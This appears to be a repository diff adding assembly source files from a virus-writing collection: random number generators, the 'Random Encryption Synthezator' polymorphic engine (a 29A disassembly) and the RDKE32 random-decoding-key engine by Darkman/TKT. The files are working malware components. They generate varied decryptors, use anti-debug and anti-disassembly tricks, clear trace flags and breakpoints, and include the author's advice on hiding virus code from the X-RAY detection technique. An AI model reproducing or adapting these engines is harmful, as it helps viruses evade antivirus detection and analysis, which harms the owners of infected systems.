||||
; +---------- | + | <------------------------------+
|
||||
; | \___/ |
|
||||
; | A |
|
||||
; | +-----+ | +-----+ +-----+ |
|
||||
; +--> | D31 | -+-> | D30 | ---> ... ---> | D01 | -+-> output
|
||||
; +-----+ +-----+ +-----+
|
||||
; A A A
|
||||
; | | |
|
||||
; CLK ---------------+------------+---------------------+
|
||||
;
|
||||
; figure 1. m-Sequence Generator
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Values
|
||||
; ----------------------------
|
||||
;
|
||||
; input:
|
||||
; eax --- a non-zero random number, which could be generated by RDTSC or
|
||||
; GetTickCount or such functionz
|
||||
; output:
|
||||
; eax --- the result of the function
|
||||
;
|
||||
|
||||
__m_seq_gen: pushad
|
||||
xor esi,esi ; use to save the 32bit m-sequence
|
||||
push 32 ; loop 32 times (but it's not a
|
||||
pop ecx ; cycle in the m-sequence generator)
|
||||
msg_next_bit: mov ebx,eax
|
||||
mov ebp,ebx
|
||||
xor edx,edx
|
||||
inc edx
|
||||
and ebp,edx ; get the lowest bit
|
||||
dec cl
|
||||
shl ebp,cl
|
||||
or esi,ebp ; output...
|
||||
inc cl
|
||||
and ebx,80000001h ; \
|
||||
ror bx,1 ; \
|
||||
mov edx,ebx ; \
|
||||
ror ebx,16 ; module 2 addition
|
||||
xor bx,dx ; /
|
||||
rcl ebx,17 ; /
|
||||
rcr eax,1 ; /
|
||||
loop msg_next_bit
|
||||
mov [esp+28],esi
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __random_rdtsc procedure
|
||||
; ========================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This is the simplest RNG in the packet. Well, nothing to explain :P
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; input:
|
||||
; ecx --- the range of the random number to be generated
|
||||
;
|
||||
; output:
|
||||
; eax --- random number as result
|
||||
;
|
||||
|
||||
__random_rdtsc: pushad
|
||||
db 0fh,31h
|
||||
add eax,edx
|
||||
xor edx,edx
|
||||
or ecx,ecx
|
||||
jz rnd_rdt_no_range
|
||||
div ecx
|
||||
xchg eax,edx
|
||||
rnd_rdt_no_range:
|
||||
mov [esp+28],eax
|
||||
popad
|
||||
ret
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,458 @@
|
||||
; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
;
|
||||
; Random Encryption Synthezator (RES), by SSR
|
||||
; Disasm by Tcp/29A (tcp@cryogen.com)
|
||||
;
|
||||
;
|
||||
; Entry:
|
||||
; DS:DX = code
|
||||
; BX = runtime offset
|
||||
; CX = number of bytes to encrypt
|
||||
; Return:
|
||||
; DS:DX = encryptor+code
|
||||
; CX = size encryptor+code
|
||||
|
||||
|
||||
.386p
|
||||
RES segment use16
|
||||
assume cs:RES, ds:RES, es:RES, ss:RES
|
||||
org 0
|
||||
|
||||
RES_SIZE_DEC equ 300h ; But it only needs 169h
|
||||
|
||||
res_engine:
|
||||
start:
|
||||
call res_delta
|
||||
res_delta:
|
||||
pop si
|
||||
sub si,3 ; Get delta-offset
|
||||
pop ax
|
||||
push cs
|
||||
push ax
|
||||
push es
|
||||
mov ax,es
|
||||
sub ax,10h
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
push cx
|
||||
mov cx,offset(end_res)
|
||||
nop
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
cld
|
||||
rep movsb ; Copy RES code to working area
|
||||
pop ds
|
||||
pop cx
|
||||
mov ax,offset(res_start+100h)
|
||||
push es
|
||||
push ax
|
||||
retf ; jmp res_start
|
||||
|
||||
res_start:
|
||||
pop es
|
||||
mov si,100h
|
||||
mov ax,es
|
||||
add ax,(end_res-start+15)/16+1
|
||||
mov es,ax ; Calculate base segment for decryptor
|
||||
mov cs:[si+runtime_ofs],bx
|
||||
mov cs:[si+code_length],cx
|
||||
push cx
|
||||
mov cx,RES_SIZE_DEC
|
||||
xor di,di
|
||||
mov al,90h ; NOP
|
||||
cld
|
||||
rep stosb ; Fill with NOPs
|
||||
call init_masks
|
||||
mov cx,8 ; 8 instructions per decryptor
|
||||
xor di,di
|
||||
add di,si
|
||||
l_select_instructions:
|
||||
push cx
|
||||
call RES_get_random
|
||||
mov ah,0
|
||||
push cx
|
||||
mov cl,5
|
||||
shr al,cl ; AX in [0..7]
|
||||
shl ax,1
|
||||
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
|
||||
pop cx
|
||||
push di
|
||||
push si
|
||||
add di,offset(buffer_decryptor)
|
||||
add si,offset(decryptor_table)
|
||||
add si,ax
|
||||
push ax
|
||||
mov ax,cs:[si] ; Select an instruction for decryptor
|
||||
mov cs:[di],ax ; and store it
|
||||
mov ax,cs:[si+2]
|
||||
mov cs:[di+2],ax
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
push di
|
||||
push si
|
||||
add di,offset(buffer_encryptor)
|
||||
add si,offset(encryptor_table)
|
||||
add si,ax
|
||||
push ax
|
||||
mov ax,cs:[si] ; Select the instruction for encryptor
|
||||
mov cs:[di],ax ; and store it
|
||||
mov ax,cs:[si+2]
|
||||
mov cs:[di+2],ax
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
add di,4
|
||||
pop cx
|
||||
loop l_select_instructions
|
||||
call reverse_decryptor_table
|
||||
call make_encryptor
|
||||
pop cx
|
||||
push cx
|
||||
mov bp,dx
|
||||
mov di,RES_SIZE_DEC
|
||||
mov cs:[si+code_CRC],0
|
||||
l_encrypt_code:
|
||||
mov al,ds:[bp]
|
||||
mov es:[di],al
|
||||
mov ah,0
|
||||
add cs:[si+code_CRC],ax ; Make code CRC
|
||||
|
||||
encryptor db 8*4 dup(90h) ; Buffer for encryptor
|
||||
|
||||
inc di
|
||||
inc bp
|
||||
loop l_encrypt_code
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
xor di,di
|
||||
push si
|
||||
add si,offset(decryptor_code)
|
||||
mov cx,decrypted_code-decryptor_code
|
||||
nop
|
||||
cld
|
||||
rep movsb ; Copy decryptor to buffer
|
||||
pop si
|
||||
pop ds
|
||||
push es
|
||||
pop ds
|
||||
xor dx,dx ; DS:DX = Address of decryptor+code
|
||||
pop cx
|
||||
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
|
||||
retf
|
||||
|
||||
db 0
|
||||
db 'RandomEncryptionSynthezator',0
|
||||
db 'ü S.S.R. 1996-97',0
|
||||
|
||||
init_masks:
|
||||
push si
|
||||
mov cx,3 ; Only first 3 instructions need a mask
|
||||
l_next_mask:
|
||||
call RES_get_random
|
||||
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
|
||||
mov byte ptr cs:[si+encryptor_table+3],al
|
||||
add si,4 ; Next inst.
|
||||
loop l_next_mask
|
||||
pop si
|
||||
ret
|
||||
|
||||
RES_get_random:
|
||||
pushf
|
||||
in al,40h ; Get random number
|
||||
ror al,1
|
||||
xor al,53h
|
||||
popf
|
||||
ret
|
||||
|
||||
make_encryptor:
|
||||
push es
|
||||
push ds
|
||||
push cs
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
push si
|
||||
in al,40h ; Get random number
|
||||
mov cx,8
|
||||
mov di,offset(encryptor)
|
||||
add di,si
|
||||
add si,offset(buffer_encryptor)
|
||||
l_make_encryptor:
|
||||
rcr al,1 ; Add instruction to encryptor?
|
||||
jc add_instruction ; Yes? then jmp
|
||||
nop
|
||||
nop
|
||||
add si,4
|
||||
loop_make_encryptor:
|
||||
loop l_make_encryptor
|
||||
jmp encryptor_done
|
||||
nop
|
||||
|
||||
add_instruction:
|
||||
cld
|
||||
push cx
|
||||
mov cx,4
|
||||
rep movsb ; Store instruction
|
||||
pop cx
|
||||
jmp loop_make_encryptor
|
||||
|
||||
encryptor_done:
|
||||
pop si
|
||||
pop ds
|
||||
pop es
|
||||
ret
|
||||
|
||||
reverse_decryptor_table:
|
||||
push ax
|
||||
push bp
|
||||
push di
|
||||
push cx
|
||||
push bx
|
||||
mov cx,8/2
|
||||
mov di,offset(buffer_decryptor)
|
||||
add di,si
|
||||
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
|
||||
add bp,si
|
||||
l_reverse_table:
|
||||
mov ax,cs:[di] ; Xchg instructions
|
||||
mov bx,cs:[bp]
|
||||
mov cs:[di],bx
|
||||
mov cs:[bp],ax
|
||||
mov ax,cs:[di+2]
|
||||
mov bx,cs:[bp+2]
|
||||
mov cs:[di+2],bx
|
||||
mov cs:[bp+2],ax
|
||||
sub bp,4 ; xchg next instruction
|
||||
add di,4
|
||||
loop l_reverse_table
|
||||
pop bx
|
||||
pop cx
|
||||
pop di
|
||||
pop bp
|
||||
pop ax
|
||||
ret
|
||||
|
||||
db 4 ; Unused !!
|
||||
|
||||
decryptor_code:
|
||||
runtime_ofs equ word ptr $+1
|
||||
mov bp,0 ; mov bp,runtime_ofs
|
||||
push 1100h+(90h+3Ch-20h)
|
||||
sub bp,offset(decryptor_code)
|
||||
mov di,offset(decryptor)
|
||||
add di,bp
|
||||
pop ax ; AX:=1100h+(90h+3Ch-20h)
|
||||
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
|
||||
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
|
||||
mov cs:[bp+decrypting],0 ; Not decrypting
|
||||
mov cx,20h
|
||||
push es
|
||||
push ds
|
||||
add ax,cx
|
||||
push cs
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
cld
|
||||
dec cx
|
||||
sub al,3Ch ; AL:=90h (NOP)
|
||||
rep stosb
|
||||
add al,3Ch ; AL:=0CCh (int 3)
|
||||
stosb
|
||||
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
|
||||
jb create_random_decryptor ; Yes? then jmp
|
||||
nop
|
||||
nop
|
||||
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
|
||||
; n_decryptors will be increased, so it'll
|
||||
; find the correct decryptor.
|
||||
jmp create_decryptor
|
||||
nop
|
||||
|
||||
db 66h ; Unused!? (antidebug??)
|
||||
|
||||
create_random_decryptor:
|
||||
in al,40h ; Get random number
|
||||
create_decryptor:
|
||||
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
|
||||
mov cx,8
|
||||
mov si,offset(buffer_decryptor)
|
||||
add si,bp
|
||||
mov di,offset(decryptor)
|
||||
add di,bp
|
||||
l_make_random_decryptor:
|
||||
rcr al,1 ; Add instruction to decryptor?
|
||||
jc add_inst_dec ; Yes? then jmp
|
||||
nop
|
||||
nop
|
||||
add si,4
|
||||
next_dec_instruction:
|
||||
loop l_make_random_decryptor
|
||||
jmp done_random_decryptor
|
||||
nop
|
||||
|
||||
add_inst_dec:
|
||||
cld
|
||||
push cx
|
||||
mov cx,4
|
||||
rep movsb ; Add instruction
|
||||
pop cx
|
||||
jmp next_dec_instruction
|
||||
|
||||
done_random_decryptor:
|
||||
mov di,RES_SIZE_DEC
|
||||
add di,cs:[bp+runtime_ofs]
|
||||
code_length equ word ptr $+1
|
||||
mov cx,0 ; mov cx,code_length
|
||||
mov bx,cs:[bp+code_CRC]
|
||||
l_random_decryptor:
|
||||
mov dl,cs:[di]
|
||||
|
||||
decryptor db 8*4 dup(90h)
|
||||
|
||||
mov al,dl
|
||||
mov ah,0
|
||||
sub bx,ax ; Calculate CRC
|
||||
cmp cs:[bp+decrypting],1 ; Decrypting?
|
||||
je decrypt_byte ; Yes? then jmp
|
||||
nop
|
||||
nop
|
||||
loop_decryptor:
|
||||
inc di
|
||||
loop l_random_decryptor
|
||||
pop ds
|
||||
pop es
|
||||
cmp bx,0 ; CRC OK?
|
||||
jnz decryptor_code ; No? then jmp
|
||||
jmp found_decryptor ; Yes? then jmp
|
||||
nop
|
||||
|
||||
buffer_decryptor db 8*4 dup(90h)
|
||||
end_buffer_dec:
|
||||
|
||||
code_CRC dw 0
|
||||
decryptor_ok db 0
|
||||
decrypting db 0
|
||||
db 0Bh ; Unused!
|
||||
db 0Bh ; Unused!
|
||||
db 0Bh ; Unused!
|
||||
decryptor_id db 0
|
||||
n_decryptors dw 0
|
||||
|
||||
decrypt_byte:
|
||||
mov cs:[di],dl ; Store decrypted byte
|
||||
jmp loop_decryptor
|
||||
|
||||
found_decryptor:
|
||||
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
|
||||
je code_decrypted ; Yes? then jmp
|
||||
nop
|
||||
nop
|
||||
mov cs:[bp+decrypting],1
|
||||
mov cs:[bp+decryptor_ok],1
|
||||
push es
|
||||
push ds
|
||||
jmp done_random_decryptor ; Decrypt code
|
||||
|
||||
code_decrypted:
|
||||
jmp anti_disasm1
|
||||
nop
|
||||
db 69h ; Antidebug
|
||||
anti_disasm1:
|
||||
cli
|
||||
push 3545h
|
||||
jmp anti_disasm2
|
||||
nop
|
||||
db 0EAh ; Antidebug
|
||||
anti_disasm2:
|
||||
cli
|
||||
inc sp
|
||||
mov ax,cs:[bp]
|
||||
xor ax,bx
|
||||
cld
|
||||
scasb
|
||||
inc sp
|
||||
mov ax,4202h
|
||||
sub sp,2
|
||||
pop ax
|
||||
cmp ax,3545h ; Is it being traced?
|
||||
jne decrypted_code ; Yes? then jmp
|
||||
; BUG! Should jump when not traced
|
||||
nop
|
||||
nop
|
||||
xor ax,3445h
|
||||
mov es,ax
|
||||
inc byte ptr cs:[0Dh]
|
||||
and cx,0Fh
|
||||
rep scasb
|
||||
xor ax,cs:[si]
|
||||
pushf
|
||||
pop ax ; Get flags
|
||||
and ah,0FEh ; Clear trace flag
|
||||
push ax
|
||||
xchg bx,cx
|
||||
les bx,ds:[2Bh]
|
||||
popf ; Trace flag off
|
||||
xor eax,eax
|
||||
mov dr7,eax ; Clear all breakpoints
|
||||
dec byte ptr cs:[0Dh]
|
||||
call skip_reset
|
||||
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
|
||||
dw 0FFF0h ; but never reach here because in 'skip_reset'
|
||||
dw 0F000h ; it does a pop of the return address
|
||||
|
||||
skip_reset:
|
||||
pop ax
|
||||
decrypted_code: ; End of decryptor code
|
||||
|
||||
encryptor_table:
|
||||
xor byte ptr es:[di],0
|
||||
add byte ptr es:[di],0
|
||||
sub byte ptr es:[di],0
|
||||
nop
|
||||
ror byte ptr es:[di],1
|
||||
nop
|
||||
rol byte ptr es:[di],1
|
||||
nop
|
||||
neg byte ptr es:[di]
|
||||
nop
|
||||
not byte ptr es:[di]
|
||||
nop
|
||||
neg byte ptr es:[di]
|
||||
|
||||
decryptor_table:
|
||||
nop
|
||||
xor dl,0
|
||||
nop
|
||||
sub dl,0
|
||||
nop
|
||||
add dl,0
|
||||
nop
|
||||
nop
|
||||
rol dl,1
|
||||
nop
|
||||
nop
|
||||
ror dl,1
|
||||
nop
|
||||
nop
|
||||
neg dl
|
||||
nop
|
||||
nop
|
||||
not dl
|
||||
nop
|
||||
nop
|
||||
neg dl
|
||||
|
||||
buffer_encryptor db 8*4 dup(90h)
|
||||
|
||||
end_res:
|
||||
|
||||
RES ends
|
||||
public res_engine
|
||||
end
|
||||
|
||||
; End of RES disasm
|
||||
; (c) 1997, Tcp/29A (tcp@cryogen.com)
|
||||
@@ -0,0 +1,88 @@
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ;
|
||||
; xxxxxxxxxxx xxxxxxxx xxxx xxxx xxxxxxxxxx xxxxxxxx xxxxxxxxx ;
|
||||
; xxxxxxxxxxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxx xxxx xxx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxxxx xxxx xxxx xxxx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxxxxx xxxx xxxx xxxxxxxx xxxxxxxxxx ;
|
||||
; xxxxxxxxxxx xxxx xx xxxx xxxx xxxxxxx xxxx xxxxxxxx xxxxxxxxxx ;
|
||||
; xxxxxxxxxxxx xxxx xx xxxx xxxx xxxxxx xxxx xxxxx xxxx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxxx xxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxx xxxxxxxxx xxxxxxxxxxx ;
|
||||
; ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; RAndom Numbers Generator ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; :)! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; функция RANG32 ;
|
||||
; ГЕНЕРАТОР СЛУЧАЙНЫХ ЧИСЕЛ (ГСЧ) ;
|
||||
; ;
|
||||
; ;
|
||||
;ВХОД: ;
|
||||
;1 параметр - число (N). Будет произведен поиск случайного числа в диапазоне [0..N-1] ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;ВЫХОД: ;
|
||||
;EAX - слуяайное число в диапазоне [0..N-1] ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; y0p! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ФИЧИ ;
|
||||
; ;
|
||||
;(+) базонезависимость ;
|
||||
;(+) прост в использовании ;
|
||||
;(+) не использует WinApi'шек ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ИСПОЛЬЗОВАНИЕ: ;
|
||||
; ;
|
||||
;1) Подключение: ;
|
||||
; rang32.asm ;
|
||||
;2) Вызов (пример stdcall): ;
|
||||
; push 5 ;кладем в стэк число ;
|
||||
; call RANG32 ;вызываем ГСЧ -> в EAX после вызова будет значение [0..5-1] ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
|
||||
|
||||
|
||||
|
||||
;m1x
|
||||
;pr0mix@mail.ru
|
||||
;EOF
|
||||
|
||||
|
||||
|
||||
|
||||
RANG32:
|
||||
pushad ;сохраняем регистры
|
||||
mov ecx,dword ptr [esp+24h] ;ecx=число, что передали в стэке
|
||||
db 0fh,31h
|
||||
imul eax,eax,1664525 ;идут разные вычисления для получения
|
||||
add eax,1013904223 ;более случайного числа
|
||||
add eax,edx
|
||||
adc eax,esp
|
||||
rcr eax,16
|
||||
imul eax,[esp+32]
|
||||
xor edx,edx
|
||||
mul ecx ;mul действует как div
|
||||
mov dword ptr [esp+1ch],edx
|
||||
popad
|
||||
ret 04
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функции RANG32
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
comment *
|
||||
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
ßßßÛÛÛÛÛÛ ÜÜ ßßß ßßß ÜÜÜ ÛÛÛÛÛÛßßß
|
||||
±ÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ°
|
||||
ÛÛÛÛ ÛÛÛÛÛÛ ²ÛÛÛÛÛ ÛÛÛÛ
|
||||
ÛÛÛÛ ßÛÛÛÛ± ÜÛÛÛÛ² ÛÛÛÛ
|
||||
°ÛÛÛÛ ÛÛÛÛÛßÛÛÛÛß ÛÛÛÛ
|
||||
±ÛÛÛÛ ÛÛÛÛ² ÛÛÜÜ ÛÛÛÛ°
|
||||
ÜÜÜÜÜÜÜÜÜÜÜÜÜ ²ÛÛÛÛ ÛÛÛÛ± ÛÛÛÛ²Ü ÛÛÛÛ± ÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
Û ÛÛÛÛÛ ÛÛÛÛ² ²ÛÛÛÛÛ° ÛÛÛÛ² Û
|
||||
Û ÛÛÛÛÛ ÜÛÛÛÛÛ ²ÛÛÛÛ² ÛÛÛÛÛ Û
|
||||
ßÜ ßßßßß ßßßß ßßßß ßßßßß Üß
|
||||
ÜßßßßßßßßßßßßßßßßþThe Knight TemplarsþßßßßßßßßßßßßßßßÜ
|
||||
Û Û
|
||||
Û Random Decoding Key Engine 32-bit v 1.0 [RDKE32] Û
|
||||
Û Code by Û
|
||||
Û Darkman/TKT Û
|
||||
Û Û
|
||||
ßÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜß
|
||||
|
||||
|
||||
Do not use this engine to encrypt known plaintext such as the actual virus
|
||||
code. It is possible to decrypt known plaintext encrypted with this
|
||||
engine using the X-RAY technique, also known as cryptanalysis. You can read
|
||||
more about this technique in "Detecting oh, roughly every polymorphic engine
|
||||
out there", an article by Rhincewind/VLAD, published in VLAD Magazine issue
|
||||
4. Billy Belcebu/iKx did this mistake in Win32.Legacy using his Internal
|
||||
ENCryptor v 1.0 [iENC], a Random Decoding Key (RDK) engine using a 8-bit
|
||||
eXclusive OR (XOR) algorithm to encrypt the actual virus in 19 different
|
||||
blocks.
|
||||
|
||||
Length of Random Decoding Key Engine 32-bit v 1.0 [RDKE32]: 171 bytes.
|
||||
*
|
||||
|
||||
hash_size equ (0a0h/08h)
|
||||
|
||||
_RDKE32Encrypt struc
|
||||
_lpHash dd ?
|
||||
_lpBuffer dd ?
|
||||
_dwNumberOfBytesToHashAndEncrypt dd ?
|
||||
_dwSecurityLevel dd ?
|
||||
ends
|
||||
|
||||
_RDKE32Decrypt struc
|
||||
_lpHash dd ?
|
||||
_lpBuffer dd ?
|
||||
_dwNumberOfBytesToDecrypt dd ?
|
||||
ends
|
||||
|
||||
_pushad struc
|
||||
_edi dd ?
|
||||
_esi dd ?
|
||||
_ebp dd ?
|
||||
_esp dd ?
|
||||
_ebx dd ?
|
||||
_edx dd ?
|
||||
_ecx dd ?
|
||||
_eax dd ?
|
||||
ends
|
||||
|
||||
rdke32_begin:
|
||||
; RDKE32Encrypt
|
||||
;
|
||||
;
|
||||
; The RDKE32Encrypt function creates a hash and encrypts data.
|
||||
;
|
||||
; VOID RDKE32Encrypt(
|
||||
; LPVOID lpHash // data buffer to receive hash
|
||||
; LPVOID lpBuffer // data buffer of data to hash and encrypt
|
||||
; DWORD dwNumberOfBytesToHashAndEncrypt // number of bytes to hash and
|
||||
; // encrypt
|
||||
; DWORD dwSecurityLevel // security level
|
||||
; );
|
||||
;
|
||||
; Parameters
|
||||
; lpHash
|
||||
; [out] Pointer to the buffer that receives the hash.
|
||||
; lpBuffer
|
||||
; [out] Pointer to the buffer containing the data to be hashed and encrypted.
|
||||
; dwNumberOfBytesToHashAndEncrypt
|
||||
; [in] Specifies the number of bytes to be hashed and encrypted.
|
||||
; dwSecurityLevel
|
||||
; [in] Specifies the security level of the encryption. The higher it is the
|
||||
; longer it will take for RDKE32Decrypt to bruteforce and decrypt the
|
||||
; encrypted data.
|
||||
;
|
||||
; Return Values
|
||||
; This function does not return a value.
|
||||
|
||||
RDKE32Encrypt proc ; Random Decoding Key Engine 32-bit
|
||||
; v 1.00 [RDKE32] encryptor
|
||||
pushad
|
||||
mov edi,[esp._lpHash+size _pushad+04h]
|
||||
; Pointer to the buffer that receives
|
||||
; the hash
|
||||
mov ebx,[esp._lpBuffer+size _pushad+04h]
|
||||
; Pointer to the buffer containing the
|
||||
; data to be hashed and encrypted
|
||||
mov ecx,[esp._dwNumberOfBytesToHashAndEncrypt+size _pushad+04h]
|
||||
; Specifies the number of bytes to be
|
||||
; hashed and encrypted
|
||||
mov eax,[esp._dwSecurityLevel+size _pushad+04h]
|
||||
; Specifies the security level
|
||||
|
||||
call SHA1, edi, ecx, ebx
|
||||
insecure_key:
|
||||
call GetRandomNumberWithinRange
|
||||
call test_key_security
|
||||
jz insecure_key
|
||||
|
||||
call cryptor
|
||||
popad
|
||||
|
||||
ret size _RDKE32Encrypt
|
||||
endp
|
||||
|
||||
; RDKE32Decrypt
|
||||
;
|
||||
;
|
||||
; The RDKE32Decrypt function creates a hash and encrypts data.
|
||||
;
|
||||
; VOID RDKE32Decrypt(
|
||||
; LPVOID lpHash // data buffer of hash
|
||||
; LPVOID lpBuffer // data buffer of data to decrypt
|
||||
; DWORD dwNumberOfBytesToDecrypt // number of bytes to decrypt
|
||||
; );
|
||||
;
|
||||
; Parameters
|
||||
; lpHash
|
||||
; [in] Pointer to the buffer containing the hash.
|
||||
; lpBuffer
|
||||
; [out] Pointer to the buffer containing the data to decrypted.
|
||||
; dwNumberOfBytesToDecrypt
|
||||
; [in] Specifies the number of bytes to be decrypted.
|
||||
;
|
||||
; Return Values
|
||||
; This function does not return a value.
|
||||
|
||||
RDKE32Decrypt proc ; Random Decoding Key Engine 32-bit
|
||||
; v 1.00 [RDKE32] decryptor
|
||||
pushad
|
||||
mov edi,[esp._lpHash+size _pushad+04h]
|
||||
; Pointer to the buffer of the hash
|
||||
mov ebx,[esp._lpBuffer+size _pushad+04h]
|
||||
; Pointer to the buffer containing the
|
||||
; data to be decrypted
|
||||
mov ecx,[esp._dwNumberOfBytesToDecrypt+size _pushad+04h]
|
||||
; Specifies the number of bytes to be
|
||||
; decrypted
|
||||
sub esp,hash_size
|
||||
|
||||
mov esi,esp ; ESI = pointer to the hash
|
||||
xor edx,edx
|
||||
bruteforce_loop:
|
||||
inc edx ; EDX = 32-bit encryption/decryption
|
||||
; key
|
||||
call test_key_security
|
||||
jz bruteforce_loop
|
||||
|
||||
call cryptor
|
||||
|
||||
call SHA1, esi, ecx, ebx
|
||||
|
||||
pushad
|
||||
push (hash_size/04h)
|
||||
pop ecx
|
||||
rep cmpsd ; Succesfully decrypted the buffer to
|
||||
; be decrypted?
|
||||
popad
|
||||
je RDKE32Decrypt_exit
|
||||
|
||||
call cryptor
|
||||
|
||||
jmp bruteforce_loop
|
||||
RDKE32Decrypt_exit:
|
||||
add esp,hash_size
|
||||
popad
|
||||
|
||||
ret size _RDKE32Decrypt
|
||||
endp
|
||||
|
||||
test_key_security proc ; Test the security of the 32-bit key
|
||||
pushad
|
||||
|
||||
test eax,eax ; Insecure key?
|
||||
jz test_key_exit
|
||||
|
||||
push 03h
|
||||
pop ecx
|
||||
test_key_loop:
|
||||
mov eax,edx ; EDX = 32-bit encryption/decryption
|
||||
; key
|
||||
mov ebx,ecx
|
||||
_test_key_loop:
|
||||
rol eax,08h
|
||||
|
||||
test al,dl
|
||||
jz test_next_key
|
||||
|
||||
cmp al,dl ; Insecure key?
|
||||
je test_key_exit
|
||||
test_next_key:
|
||||
dec ebx
|
||||
jnz _test_key_loop
|
||||
|
||||
rol edx,08h
|
||||
|
||||
loop test_key_loop
|
||||
|
||||
inc ecx ; Secure key
|
||||
test_key_exit:
|
||||
popad
|
||||
|
||||
ret
|
||||
endp
|
||||
|
||||
cryptor proc ; 32-bit encryptor/decryptor
|
||||
pushad
|
||||
crypt_loop:
|
||||
inc ecx
|
||||
|
||||
test dl,dl ; Insecure key?
|
||||
jz dont_crypt
|
||||
|
||||
dec ecx
|
||||
|
||||
xor [ebx],dl
|
||||
inc ebx
|
||||
dont_crypt:
|
||||
rol edx,08h
|
||||
|
||||
loop crypt_loop
|
||||
popad
|
||||
|
||||
ret
|
||||
endp
|
||||
|
||||
db ' [RDKE32] '
|
||||
rdke32_end:
|
||||
rdke32_size equ (rdke32_end-rdke32_begin)
|
||||
@@ -0,0 +1,96 @@
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
